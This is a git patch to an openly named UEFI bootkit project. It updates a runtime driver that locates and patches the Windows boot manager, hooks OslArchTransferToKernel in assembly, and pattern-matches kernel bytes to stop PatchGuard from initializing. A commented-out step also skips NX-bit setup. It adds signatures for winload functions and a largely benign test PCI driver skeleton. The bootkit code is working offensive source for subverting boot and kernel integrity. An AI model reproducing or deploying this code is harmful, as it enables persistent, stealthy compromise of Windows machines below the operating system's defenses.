From cbfb321633523612ab70375f78bc8077e3c54e66 Mon Sep 17 00:00:00 2001 From: dude719 Date: Tue, 8 Nov 2016 18:30:08 -0400 Subject: [PATCH] Update --- UefiApplication/main.c | 23 +- UefiDriver/drvmain.c | 102 +++---- UefiDriver/hook.asm | 29 +- UefiDriver/hook.h | 14 +- UefiDriver/utils.c | 37 +++ UefiDriver/utils.h | 5 + UefiTest/UefiTest.vcxproj | 63 +++++ UefiTest/UefiTest.vcxproj.filters | 57 ++++ UefiTest/drv.h | 91 ++++++ UefiTest/drvmain.c | 74 +++++ UefiTest/drvname.c | 111 ++++++++ UefiTest/drvpnp.c | 331 ++++++++++++++++++++++ UefiTest/drvproto.h | 18 ++ UefiTest/hook.h | 97 +++++++ UefiTest/imageldr.c | 23 ++ UefiTest/imageldr.h | 7 + UefiTest/pe.c | 24 ++ UefiTest/pe.h | 16 ++ UefiTest/pestructs.h | 453 ++++++++++++++++++++++++++++++ UefiTest/utils.c | 97 +++++++ UefiTest/utils.h | 37 +++ bootkit.sln | 8 +- 22 files changed, 1611 insertions(+), 106 deletions(-) create mode 100644 UefiTest/UefiTest.vcxproj create mode 100644 UefiTest/UefiTest.vcxproj.filters create mode 100644 UefiTest/drv.h create mode 100644 UefiTest/drvmain.c create mode 100644 UefiTest/drvname.c create mode 100644 UefiTest/drvpnp.c create mode 100644 UefiTest/drvproto.h create mode 100644 UefiTest/hook.h create mode 100644 UefiTest/imageldr.c create mode 100644 UefiTest/imageldr.h create mode 100644 UefiTest/pe.c create mode 100644 UefiTest/pe.h create mode 100644 UefiTest/pestructs.h create mode 100644 UefiTest/utils.c create mode 100644 UefiTest/utils.h diff --git a/UefiApplication/main.c b/UefiApplication/main.c index a0a5293..c13bdaa 100644 --- a/UefiApplication/main.c +++ b/UefiApplication/main.c @@ -1,4 +1,4 @@ -// +// // Basic UEFI Libraries // #include @@ -84,15 +84,9 @@ EFI_STATUS LocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** DevicePath ) EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE* SystemTable ) { EFI_STATUS efiStatus; - EFI_RUNTIME_DRIVER_PROTOCOL* RuntimeProtocol; EFI_DEVICE_PATH* RuntimeDriverDevicePath = NULL; EFI_HANDLE RuntimeDriverHandle = NULL; - // - // Print stuff out - // - Print( L"Hello World! My handle is %lx and System Table is at %p\n", ImageHandle, SystemTable ); - // // Locate the runtime driver // @@ -114,23 +108,10 @@ EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE* Syst if (EFI_ERROR( efiStatus )) goto Exit; - // - // Check if the runtime driver is loaded - // - efiStatus = gBS->LocateProtocol( &gEfiSampleDriverProtocolGuid, NULL, &RuntimeProtocol ); - if (EFI_ERROR( efiStatus )) - goto Exit; - - // - // Print the value and exit - // - Print( L"Runtime driver is loaded: %lx\n", RuntimeProtocol->Value ); - efiStatus = EFI_SUCCESS; - Exit: if (efiStatus != EFI_SUCCESS) { - ErrorPrint( L"UEFI Runtime Driver Loader failed with status: %lx\r\n", efiStatus ); + ErrorPrint( L"%EUEFI Runtime Driver Loader failed with status: %H%lx%N\r\n", efiStatus ); } return efiStatus; diff --git a/UefiDriver/drvmain.c b/UefiDriver/drvmain.c index 465132d..343c90f 100644 --- a/UefiDriver/drvmain.c +++ b/UefiDriver/drvmain.c @@ -1,4 +1,4 @@ -#include "drv.h" +#include "drv.h" // // Libraries @@ -36,22 +36,17 @@ const UINT32 _gDxeRevision = 0x200; CHAR8 *gEfiCallerBaseName = "UefiDriver"; // Title -static CHAR16 *gTitle = L"-= Dude719s UEFI bootkit Runtime Dirver =-\r\n"; -static CHAR16 *gWindowsBootX64ImagePath = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi"; -static EFI_HANDLE gWindowsImagehandle; +#define BOOTKIT_TITLE1 L"\r\n ██████╗ ██╗ ██╗██████╗ ███████╗███████╗ ██╗ █████╗ " \ + L"\r\n ██╔══██╗██║ ██║██╔══██╗██╔════╝╚════██║███║██╔══██╗ " \ + L"\r\n ██║ ██║██║ ██║██║ ██║█████╗ ██╔╝╚██║╚██████║ " +#define BOOTKIT_TITLE2 L"\r\n ██║ ██║██║ ██║██║ ██║██╔══╝ ██╔╝ ██║ ╚═══██║ " \ + L"\r\n ██████╔╝╚██████╔╝██████╔╝███████╗ ██║ ██║ █████╔╝ " \ + L"\r\n ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ " +#define BOOTMGFW_EFI_PATH L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi" + +static EFI_HANDLE gWindowsImagehandle; -//VOID EFIAPI hkOslArchTransferToKernel( VOID* KernelParams, VOID* KiSystemStartup ) -//{ -// // Clear the screen -// //gST->ConOut->ClearScreen( gST->ConOut ); -// //Print( L"KiSystemStartup = %lx\r\n", KiSystemStartup ); -// //UtilWaitForKey( ); -// -// OslArchTransferToKernelHook( KernelParams, KernelParams ); -// -// //oOslArchTransferToKernel( KernelParams, KiSystemStartup ); -//} // // Our ImgArchEfiStartBootApplication hook which takes the winload Image Base as a parameter so we can patch the kernel @@ -177,47 +172,6 @@ EFI_STATUS PatchWindowsBootManager( IN VOID* LocalImageBase, IN EFI_HANDLE BootM return EfiStatus; } -// -// Try to find gWindowsBootX64ImagePath by browsing each device -// -EFI_STATUS LocateWindowsBootManager( EFI_DEVICE_PATH** LoaderDevicePath ) -{ - EFI_FILE_IO_INTERFACE *ioDevice; - EFI_FILE_HANDLE handleRoots, bootFile; - EFI_HANDLE* handleArray; - UINTN nbHandles, i; - EFI_STATUS efistatus; - - *LoaderDevicePath = (EFI_DEVICE_PATH *)NULL; - efistatus = gBS->LocateHandleBuffer( ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray ); - if (EFI_ERROR( efistatus )) - return efistatus; - - Print( L"\r\nNumber of UEFI Filesystem Devices: %d\r\n", nbHandles ); - - for (i = 0; i < nbHandles; i++) - { - efistatus = gBS->HandleProtocol( handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice ); - if (efistatus != EFI_SUCCESS) - continue; - - efistatus = ioDevice->OpenVolume( ioDevice, &handleRoots ); - if (EFI_ERROR( efistatus )) - continue; - - efistatus = handleRoots->Open( handleRoots, &bootFile, gWindowsBootX64ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY ); - if (!EFI_ERROR( efistatus )) - { - handleRoots->Close( bootFile ); - *LoaderDevicePath = FileDevicePath( handleArray[i], gWindowsBootX64ImagePath ); - Print( L"\r\nFound Windows x64 bootmgfw.efi file at \'%s\'\r\n", ConvertDevicePathToText( *LoaderDevicePath, TRUE, TRUE ) ); - break; - } - } - - return efistatus; -} - // // Main entry point // @@ -237,40 +191,48 @@ EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *Syst if (EFI_ERROR( efiStatus )) goto Exit; - Print( gTitle ); - Print( L"\r\nRuntime Driver handle is %lx and System Table is at %p\r\n", ImageHandle, SystemTable ); - + // + // Print stuff out + // + Print( L"\r\n\r\n" ); + Print( L"%s", BOOTKIT_TITLE1 ); + Print( L"%s", BOOTKIT_TITLE2 ); efiStatus = gBS->HandleProtocol( ImageHandle, &gEfiLoadedImageProtocolGuid, &Image ); if (EFI_ERROR( efiStatus )) goto Exit; - UtilPrintLoadedImageInfo( Image ); - Print( L"\r\nLocating Windows UEFI Boot Manager...\r\n" ); - efiStatus = LocateWindowsBootManager( &WinBootMgrDevicePath ); + // + // Locate + // + Print( L"Locating Windows UEFI Boot Manager... " ); + efiStatus = UtilLocateFile( BOOTMGFW_EFI_PATH, &WinBootMgrDevicePath ); if (EFI_ERROR( efiStatus )) goto Exit; - + Print( L"Found!\r\n" ); + + Print( L"Patching Windows Boot Manager... " ); efiStatus = ImageLoad( ImageHandle, WinBootMgrDevicePath, &gWindowsImagehandle ); if (EFI_ERROR( efiStatus )) goto Exit; - - Print( L"\r\nPatching Windows Boot Manager...\r\n" ); - efiStatus = PatchWindowsBootManager( Image->ImageBase, gWindowsImagehandle ); if (EFI_ERROR( efiStatus )) goto Exit; + Print( L"Patched!\r\n" ); - Print( L"\r\nSuccessfully patched Windows Boot Manager!\r\n" ); - - //Print( L"\r\nPress any key to load Windows...\r\n" ); - //UtilWaitForKey( ); + Print( L"\r\nPress any key to load Windows...\r\n" ); + UtilWaitForKey( ); efiStatus = ImageStart( gWindowsImagehandle ); if (EFI_ERROR( efiStatus )) goto Exit; Exit: + if (efiStatus != EFI_SUCCESS) + { + ErrorPrint( L"\r\nUEFI Runtime Driver failed with status: %lx\r\n", efiStatus ); + } + return efiStatus; } diff --git a/UefiDriver/hook.asm b/UefiDriver/hook.asm index e976933..2cb2b1c 100644 --- a/UefiDriver/hook.asm +++ b/UefiDriver/hook.asm @@ -34,6 +34,10 @@ OslArchTransferToKernelPatchLocation dq 0 ; Original OslArchTransferToKernel address extern oOslArchTransferToKernel:dq +; Winload functions +extern EfiStall:dq +extern EfiConOutOutputString:dq + ; Kernel patch patterns extern sigNxSetBit:db @@ -117,6 +121,10 @@ OslArchTransferToKernelHook PROC mov rbp, rsp and rsp, 0FFFFFFFFFFFFFFF0h ; align stack + ;mov rcx, 10 * 1000000 ; stall 10 seconds + ;mov rax, EfiStall + ;call rax + ; Before we do anything lets restore the original function bytes restore_bytes: lea rsi, OslArchTransferToKernelBackup @@ -137,21 +145,22 @@ get_imagesize: mov ebx, dword ptr [rdx + rcx + 50h] ; get SizeOfImage from OptionialHeader in PE ; Skip setting the NX bit for when we want to set executable memory in kernel -skip_nx_bit: - lea rcx, sigNxSetBit - sub rbx, sigNxSetBitSize - push rdx - mov rax, rdx - mov rdx, sigNxSetBitSize - call find_pattern - cmp rax, 0 - je OslArchTransferToKernelHook_exit - mov byte ptr[rax], 0EBh ; Patch 'jz short' to 'jmp short' +;skip_nx_bit: +; lea rcx, sigNxSetBit +; sub rbx, sigNxSetBitSize +; push rdx +; mov rax, rdx +; mov rdx, sigNxSetBitSize +; call find_pattern +; cmp rax, 0 +; je OslArchTransferToKernelHook_exit +; mov byte ptr[rax], 0EBh ; Patch 'jz short' to 'jmp short' ; Get rid of patchguard fuck_you_patchguard: lea rcx, sigInitPatchGuard sub rbx, sigInitPatchGuardSize + push rdx mov rax, rdx mov rdx, sigInitPatchGuardSize call find_pattern diff --git a/UefiDriver/hook.h b/UefiDriver/hook.h index 86a6dc2..41f0930 100644 --- a/UefiDriver/hook.h +++ b/UefiDriver/hook.h @@ -25,6 +25,18 @@ extern UINT8 OslArchTransferToKernelBackup[5]; tOslArchTransferToKernel oOslArchTransferToKernel = NULL; extern VOID* OslArchTransferToKernelHook; +// +// Winload calls +// +UINT8 sigEfiStallCall[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8B }; +typedef INT64( EFIAPI *tEfiStall )(UINT64 MicroSeconds); +tEfiStall EfiStall = NULL; + +UINT8 sigEfiConOutOutputString[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x85, 0xC0, 0x78, 0x05, 0x83, 0xC3, 0xFF }; +typedef INT64( EFIAPI *tEfiConOutOutputString )(VOID* ConOut, CHAR16* String); +tEfiConOutOutputString EfiConOutOutputString = NULL; + + // // Kernel patches // @@ -47,7 +59,7 @@ extern VOID* OslArchTransferToKernelHook; // INIT:000000014075698B 0F 30 wrmsr // INIT:000000014075698D B0 01 mov al, 1 // INIT:000000014075698F A2 80 02 00 00 80 F7 FF FF mov ds:0FFFFF78000000280h, al -UINT8 sigNxSetBit[] = { 0x74, 0xCC, 0xB9, 0x80, 0x00, 0x00, 0xC0, 0x0F, 0x32 }; +UINT8 sigNxSetBit[] = { 0x74, 0x27, 0xB9, 0x80, 0x00, 0x00, 0xC0, 0x0F, 0x32 }; UINTN sigNxSetBitSize = sizeof( sigNxSetBit ); // Skip initializing patchguard diff --git a/UefiDriver/utils.c b/UefiDriver/utils.c index 16abbfd..70845be 100644 --- a/UefiDriver/utils.c +++ b/UefiDriver/utils.c @@ -4,6 +4,8 @@ // Libraries #include #include +// Protocols +#include VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ) { @@ -20,6 +22,41 @@ VOID UtilWaitForKey( VOID ) gST->ConIn->ReadKeyStroke( gST->ConIn, &key ); } +EFI_STATUS UtilLocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** DevicePath ) +{ + EFI_FILE_IO_INTERFACE *ioDevice; + EFI_FILE_HANDLE handleRoots, bootFile; + EFI_HANDLE* handleArray; + UINTN nbHandles, i; + EFI_STATUS efistatus; + + *DevicePath = (EFI_DEVICE_PATH *)NULL; + efistatus = gBS->LocateHandleBuffer( ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray ); + if (EFI_ERROR( efistatus )) + return efistatus; + + for (i = 0; i < nbHandles; i++) + { + efistatus = gBS->HandleProtocol( handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = ioDevice->OpenVolume( ioDevice, &handleRoots ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = handleRoots->Open( handleRoots, &bootFile, ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY ); + if (!EFI_ERROR( efistatus )) + { + handleRoots->Close( bootFile ); + *DevicePath = FileDevicePath( handleArray[i], ImagePath ); + break; + } + } + + return efistatus; +} + EFI_STATUS UtilFindPattern( IN UINT8* Pattern, IN UINT8 Wildcard, IN UINT32 PatternLength, VOID* Base, UINT32 Size, OUT VOID ** Found ) { if (Found == NULL || Pattern == NULL || Base == NULL) diff --git a/UefiDriver/utils.h b/UefiDriver/utils.h index 336dc8d..ec76861 100644 --- a/UefiDriver/utils.h +++ b/UefiDriver/utils.h @@ -16,6 +16,11 @@ VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ); // VOID UtilWaitForKey( VOID ); +// +// Try to find file by browsing each device +// +EFI_STATUS UtilLocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** DevicePath ); + // // Find byte pattern starting at specified address // diff --git a/UefiTest/UefiTest.vcxproj b/UefiTest/UefiTest.vcxproj new file mode 100644 index 0000000..30984cd --- /dev/null +++ b/UefiTest/UefiTest.vcxproj @@ -0,0 +1,63 @@ + + + + + Release + x64 + + + + {6795FA18-9A3F-4766-B777-8813A816D769} + Win32Proj + v140 + Application + false + true + Unicode + + + + + + + + $(EDK_PATH)\MdePkg\Include;$(EDK_PATH)\MdePkg\Include\X64;$(IncludePath) + + + + + + + UefiDriverEntryPoint.lib;BaseCryptLib.lib;IntrinsicLib.lib;%(AdditionalDependencies) + EFI Runtime + + + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\testdriver.efi" + + + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\testdriver.efi" + + + __UD_STANDALONE__;_UNICODE;UNICODE;%(PreprocessorDefinitions) + 4706;4055;4054 + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/UefiTest/UefiTest.vcxproj.filters b/UefiTest/UefiTest.vcxproj.filters new file mode 100644 index 0000000..d1ac72b --- /dev/null +++ b/UefiTest/UefiTest.vcxproj.filters @@ -0,0 +1,57 @@ + + + + + src + + + src + + + src + + + src + + + src + + + src + + + src + + + + + include + + + include + + + include + + + include + + + include + + + include + + + include + + + + + {53d6ef03-38de-42b6-98a7-be4995765f1a} + + + {15de1be8-845c-4c4a-96b6-94168d6b0955} + + + \ No newline at end of file diff --git a/UefiTest/drv.h b/UefiTest/drv.h new file mode 100644 index 0000000..99a5b60 --- /dev/null +++ b/UefiTest/drv.h @@ -0,0 +1,91 @@ +// +// Basic UEFI Libraries +// +#include +#include +#include +#include + +// +// Boot and Runtime Services +// +#include +#include + +// +// PCI Protocol +// +#include +#include + +// +// Custom Driver Protocol +// +#include "drvproto.h" + +// +// Device Extension for our Device +// +#define DEVICE_EXTENSION_SIGNATURE SIGNATURE_32('T','E', 'S','T') +#define DEVICE_EXTENSION_FROM_PROTOCOL(a) CR(a, DEVICE_EXTENSION, DeviceProtocol, DEVICE_EXTENSION_SIGNATURE) +typedef struct _DEVICE_EXTENSION +{ + UINTN Signature; + EFI_TEST_DRIVER_PROTOCOL DeviceProtocol; + EFI_HANDLE DeviceHandle; + EFI_PCI_IO_PROTOCOL* PciIo; +} DEVICE_EXTENSION, *PDEVICE_EXTENSION; + +// +// Name Routines +// +EFI_STATUS +EFIAPI +TestComponentNameGetControllerName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN EFI_HANDLE ControllerHandle, + IN EFI_HANDLE ChildHandle OPTIONAL, + IN CHAR8 *Language, + OUT CHAR16 **ControllerName +); + +EFI_STATUS +EFIAPI +TestComponentNameGetDriverName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN CHAR8 *Language, + OUT CHAR16 **DriverName +); + +// +// PnP Routines +// +EFI_STATUS +EFIAPI +TestDriverSupported ( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +); + +EFI_STATUS +EFIAPI +TestDriverStart ( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +); + +EFI_STATUS +EFIAPI +TestDriverStop ( + IN EFI_DRIVER_BINDING_PROTOCOL* This, + IN EFI_HANDLE Controller, + IN UINTN NumberOfChildren, + IN EFI_HANDLE* ChildHandleBuffer +); + +extern EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol; +extern EFI_COMPONENT_NAME2_PROTOCOL gComponentName2Protocol; +extern EFI_COMPONENT_NAME_PROTOCOL gComponentNameProtocol; + diff --git a/UefiTest/drvmain.c b/UefiTest/drvmain.c new file mode 100644 index 0000000..2d0ad57 --- /dev/null +++ b/UefiTest/drvmain.c @@ -0,0 +1,74 @@ +#include "drv.h" + +// +// Libraries +// +#include +#include + +// +// Protocols +// +#include + +// +// Our includes +// +#include "utils.h" + +// +// We support unload (but deny it) +// +const UINT8 _gDriverUnloadImageCount = 1; + +// +// We require at least UEFI 2.0 +// +const UINT32 _gUefiDriverRevision = 0x200; +const UINT32 _gDxeRevision = 0x200; + +// +// Our name +// +CHAR8 *gEfiCallerBaseName = "UefiTestDriver"; + +// Title +static CHAR16 *gTitle = L"-= UefiTest =-\r\n"; + + +// +// Main entry point +// +EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ) +{ + EFI_STATUS efiStatus; + //EFI_LOADED_IMAGE* Image = NULL; + + // + // Install required driver binding components + // + efiStatus = EfiLibInstallDriverBindingComponentName2( ImageHandle, SystemTable, &gDriverBindingProtocol, ImageHandle, &gComponentNameProtocol, &gComponentName2Protocol ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + // Clear screen + gST->ConOut->ClearScreen( gST->ConOut ); + Print( L"TEST!!!\r\n" ); + UtilWaitForKey( ); + + Print( gTitle ); + Print( L"\r\nRuntime Driver handle is %lx and System Table is at %p\r\n", ImageHandle, SystemTable ); + +Exit: + return efiStatus; +} + + +// +// Unload the driver +// +EFI_STATUS EFIAPI UefiUnload( IN EFI_HANDLE ImageHandle ) +{ + // Disable unloading + return EFI_ACCESS_DENIED; +} \ No newline at end of file diff --git a/UefiTest/drvname.c b/UefiTest/drvname.c new file mode 100644 index 0000000..0179d09 --- /dev/null +++ b/UefiTest/drvname.c @@ -0,0 +1,111 @@ +#include "drv.h" + +// +// EFI Component Name Protocol +// +EFI_COMPONENT_NAME_PROTOCOL gComponentNameProtocol = +{ + TestComponentNameGetDriverName, + TestComponentNameGetControllerName, + "eng" +}; + +// +// EFI Component Name 2 Protocol +// +EFI_COMPONENT_NAME2_PROTOCOL gComponentName2Protocol = +{ + (EFI_COMPONENT_NAME2_GET_DRIVER_NAME)TestComponentNameGetDriverName, + (EFI_COMPONENT_NAME2_GET_CONTROLLER_NAME)TestComponentNameGetControllerName, + "en" +}; + +// +// Internationalized names for the driver +// +EFI_UNICODE_STRING_TABLE gDriverNameTable[] = +{ + { + "eng;en", + L"Test Driver" + }, + {NULL, NULL} +}; + +// +// Internationalized names for the device +// +EFI_UNICODE_STRING_TABLE gDeviceNameTable[] = +{ + { + "eng;en", + L"Test Device" + }, + {NULL, NULL} +}; + +EFI_STATUS +EFIAPI +TestComponentNameGetDriverName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN CHAR8 *Language, + OUT CHAR16 **DriverName + ) +{ + // + // Find a matching string in the driver name string table + // + return LookupUnicodeString2(Language, + This->SupportedLanguages, + gDriverNameTable, + DriverName, + This == &gComponentNameProtocol); +} + +EFI_STATUS +EFIAPI +TestComponentNameGetControllerName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN EFI_HANDLE ControllerHandle, + IN EFI_HANDLE ChildHandle OPTIONAL, + IN CHAR8 *Language, + OUT CHAR16 **ControllerName + ) +{ + EFI_STATUS efiStatus; + + // + // We don't currently support names for our child devices + // + if (ChildHandle != NULL) + { + efiStatus = EFI_UNSUPPORTED; + goto Exit; + } + + // + // Make sure that this is a device we support + // + efiStatus = EfiTestManagedDevice(ControllerHandle, + gDriverBindingProtocol.DriverBindingHandle, + &gEfiPciIoProtocolGuid); + if (EFI_ERROR(efiStatus)) + { + goto Exit; + } + + // + // Find a matching string in the device name string table + // + efiStatus = LookupUnicodeString2(Language, + This->SupportedLanguages, + gDeviceNameTable, + ControllerName, + This == &gComponentNameProtocol); + +Exit: + // + // Return back to DXE + // + return efiStatus; +} diff --git a/UefiTest/drvpnp.c b/UefiTest/drvpnp.c new file mode 100644 index 0000000..5dacc44 --- /dev/null +++ b/UefiTest/drvpnp.c @@ -0,0 +1,331 @@ +#include "drv.h" + +// +// EFI Driver Binding Protocol +// +EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol = +{ + TestDriverSupported, + TestDriverStart, + TestDriverStop, + 10, + NULL, + NULL +}; + +// +// Our custom GUID +// +EFI_GUID gEfiTestDriverProtocolGuid = EFI_TEST_DRIVER_PROTOCOL_GUID; + +EFI_STATUS +EFIAPI +TestDriverSupported( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +) +{ + EFI_STATUS efiStatus; + EFI_PCI_IO_PROTOCOL* pciIo; + + // + // Assume failure + // + pciIo = NULL; + efiStatus = EFI_UNSUPPORTED; + + // + // Make sure the controller has a device path (meaning it could be hardware + // or an image) + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiDevicePathProtocolGuid, + NULL, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_TEST_PROTOCOL ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // Make sure the controller implements a PCI I/O protocol. Otherwise, this + // is not a PCI device + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&pciIo, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_BY_DRIVER ); + if (EFI_ERROR( efiStatus )) + { + pciIo = NULL; + goto Exit; + } + + // + // Attach to all PCI devices + // + efiStatus = EFI_SUCCESS; + +Exit: + // + // If we had a PCI I/O protocol open, close it now to avoid a leak + // + if (pciIo != NULL) + { + gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + Controller ); + } + + // + // Return back to DXE + // + return efiStatus; +} + +EFI_STATUS +EFIAPI +TestDriverStop( + IN EFI_DRIVER_BINDING_PROTOCOL* This, + IN EFI_HANDLE Controller, + IN UINTN NumberOfChildren, + IN EFI_HANDLE* ChildHandleBuffer +) +{ + EFI_STATUS efiStatus; + BOOLEAN allChildrenStopped; + UINTN i; + PDEVICE_EXTENSION deviceExtension; + PEFI_TEST_DRIVER_PROTOCOL TestDriverProtocol; + + // + // Complete all outstanding transactions to Controller. + // Don't allow any new transaction to Controller to be started. + // + if (NumberOfChildren == 0) + { + efiStatus = gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + Controller ); + goto Exit; + } + + // + // Enumerate all children + // + allChildrenStopped = TRUE; + for (i = 0; i < NumberOfChildren; i++) + { + // + // Children should have our protocol installed + // + efiStatus = gBS->OpenProtocol( ChildHandleBuffer[i], + &gEfiTestDriverProtocolGuid, + (VOID**)&TestDriverProtocol, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_GET_PROTOCOL ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Get the device extension for this child device + // + deviceExtension = DEVICE_EXTENSION_FROM_PROTOCOL( TestDriverProtocol ); + + // + // Close the PCI I/O protocol off the child device + // + efiStatus = gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + ChildHandleBuffer[i] ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Uninstall our own protocol off this child device + // + efiStatus = gBS->UninstallMultipleProtocolInterfaces( ChildHandleBuffer[i], + &gEfiTestDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Free our device extension + // + FreePool( deviceExtension ); + } + + // + // If any errors happened, then fail the stop request. + // Otherwise, return success. + // + if (allChildrenStopped == FALSE) + { + efiStatus = EFI_DEVICE_ERROR; + } + else + { + efiStatus = EFI_SUCCESS; + } + +Exit: + // + // Return back to DXE + // + return efiStatus; +} + +EFI_STATUS +EFIAPI +TestDriverStart( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +) +{ + EFI_STATUS efiStatus; + EFI_PCI_IO_PROTOCOL* pciIo, childPciIo; + PDEVICE_EXTENSION deviceExtension; + + // + // Assume failure + // + pciIo = NULL; + deviceExtension = NULL; + + // + // Open the PCI I/O protocol. We know this should succeed because our + // supported routine already tried this. + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&pciIo, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_BY_DRIVER ); + if (EFI_ERROR( efiStatus )) + { + pciIo = NULL; + ASSERT_EFI_ERROR( efiStatus ); + goto Exit; + } + + // + // Allocate the device extension + // + deviceExtension = AllocateZeroPool( sizeof( *deviceExtension ) ); + if (deviceExtension == NULL) + { + efiStatus = EFI_OUT_OF_RESOURCES; + goto Exit; + } + + // + // Fill out the key fields + // + deviceExtension->PciIo = pciIo; + deviceExtension->Signature = DEVICE_EXTENSION_SIGNATURE; + deviceExtension->DeviceHandle = NULL; + + // + // Fill out custom protocol value + // + deviceExtension->DeviceProtocol.Value = This->DriverBindingHandle; + + // + // Install our custom protocol on top of a new device handle + // + efiStatus = gBS->InstallMultipleProtocolInterfaces( &deviceExtension->DeviceHandle, + &gEfiTestDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // Bind the PCI I/O protocol between our new device handle and the controller + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&childPciIo, + This->DriverBindingHandle, + deviceExtension->DeviceHandle, + EFI_OPEN_PROTOCOL_BY_CHILD_CONTROLLER ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // We're all done successfully + // + efiStatus = EFI_SUCCESS; + +Exit: + // + // Do cleanup in case of error + // + if (EFI_ERROR( efiStatus )) + { + // + // First check if a device extension was allocated + // + if (deviceExtension != NULL) + { + // + // If a device handle was created, then uninstall the custom protocol + // + if (deviceExtension->DeviceHandle != NULL) + { + gBS->UninstallMultipleProtocolInterfaces( &deviceExtension->DeviceHandle, + &gEfiTestDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + } + + // + // Free the device extension + // + FreePool( deviceExtension ); + } + + // + // Check if we obtained a PCI I/O protocol + // + if (pciIo != NULL) + { + // + // Close it so that we don't leak it + // + gBS->CloseProtocol( Controller, &gEfiPciIoProtocolGuid, This->DriverBindingHandle, Controller ); + } + } + + // + // All done, return to DXE + // + return efiStatus; +} + diff --git a/UefiTest/drvproto.h b/UefiTest/drvproto.h new file mode 100644 index 0000000..4b8140d --- /dev/null +++ b/UefiTest/drvproto.h @@ -0,0 +1,18 @@ +#include + +// +// Custom Protocol GUID +// +#define EFI_TEST_DRIVER_PROTOCOL_GUID \ + { \ + 0xd487ddb4, 0x008b, 0x11d9, {0xaf, 0xdc, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d } \ + } +extern EFI_GUID gEfiTestDriverProtocolGuid; + +// +// Custom Protocol Definition +// +typedef struct _EFI_TEST_DRIVER_PROTOCOL +{ + EFI_HANDLE Value; +} EFI_TEST_DRIVER_PROTOCOL, *PEFI_TEST_DRIVER_PROTOCOL; diff --git a/UefiTest/hook.h b/UefiTest/hook.h new file mode 100644 index 0000000..41f0930 --- /dev/null +++ b/UefiTest/hook.h @@ -0,0 +1,97 @@ +#pragma once + +// +// Implemented in hook.asm +// +EFI_STATUS PrintString( IN CHAR16* Str ); 